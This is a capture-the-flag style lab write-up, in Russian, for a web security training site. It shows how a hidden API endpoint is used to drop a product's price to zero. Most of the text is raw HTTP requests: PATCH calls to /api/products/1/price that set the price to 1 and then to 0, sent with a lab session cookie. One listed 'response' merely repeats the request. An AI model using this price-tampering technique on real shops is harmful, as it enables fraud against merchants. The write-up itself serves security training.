Для прохождения лабы нужно найти эндпоинт с помощью атаки на API, который позволит купить Lightweight l33t Leather Jacket. Для входа в аккаунт можно использовать креды wiener:peter.

https://0a6600c70445360e80349468005300ba.web-security-academy.net

Solution

Зайду на страницу нужного товара: https://0a6600c70445360e80349468005300ba.web-security-academy.net/product?productId=1

IMG

Я получил productId нужного товара: 1. Попробую добавить другой товар в корзину, чтобы увидеть, через какой запрос он происходит. Предварительно залогинюсь в ЛК.

POST /cart HTTP/2
Host: 0a6600c70445360e80349468005300ba.web-security-academy.net
Cookie: session=MkwUX4pRA0cdGpiNLV2rKk76UgD52Auu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6600c70445360e80349468005300ba.web-security-academy.net/cart
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: https://0a6600c70445360e80349468005300ba.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

productId=2&quantity=1&redir=CART

Вот этот запрос похож на правильный. Подставлю нужный productId.

HTTP/2 302 Found
Location: /cart
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Товар был добавлен в корзину. Но у меня нема денег. Надо-что то с этим решать. Заработать Нашел вот такой запрос:

GET /api/products/1/price HTTP/2
Host: 0a6600c70445360e80349468005300ba.web-security-academy.net
Cookie: session=MkwUX4pRA0cdGpiNLV2rKk76UgD52Auu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6600c70445360e80349468005300ba.web-security-academy.net/product?productId=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers

Попробую применить другие методы. Например POST, чтобы попробовать изменить цену на товар:

POST /api/products/1/price HTTP/2
Host: 0a6600c70445360e80349468005300ba.web-security-academy.net
Cookie: session=MkwUX4pRA0cdGpiNLV2rKk76UgD52Auu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6600c70445360e80349468005300ba.web-security-academy.net/product?productId=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Content-Type: application/json; charset=utf-8
Content-Length: 27

{
	"price": 1337.00
}

На что я получил интересный ответ:

HTTP/2 405 Method Not Allowed
Allow: GET, PATCH
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Method Not Allowed"

Попробую метод PATCH:

PATCH /api/products/1/price HTTP/2
Host: 0a6600c70445360e80349468005300ba.web-security-academy.net
Cookie: session=MkwUX4pRA0cdGpiNLV2rKk76UgD52Auu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6600c70445360e80349468005300ba.web-security-academy.net/product?productId=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Content-Type: application/json; charset=utf-8
Content-Length: 23

{
	"price":   1
}

Ответ:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{"price":"$0.01"}

Проверю на сайте:

IMG

Денег все еще не хватает. Попрошу скидку:

PATCH /api/products/1/price HTTP/2
Host: 0a6600c70445360e80349468005300ba.web-security-academy.net
Cookie: session=MkwUX4pRA0cdGpiNLV2rKk76UgD52Auu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/json; charset=utf-8
Content-Length: 23

{
	"price":   0
}

Их ответ:

PATCH /api/products/1/price HTTP/2
Host: 0a6600c70445360e80349468005300ba.web-security-academy.net
Cookie: session=MkwUX4pRA0cdGpiNLV2rKk76UgD52Auu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/json; charset=utf-8
Content-Length: 23

{
	"price":   0
}

IMG

Вот теперь мне по карману. Возьму 2)

IMG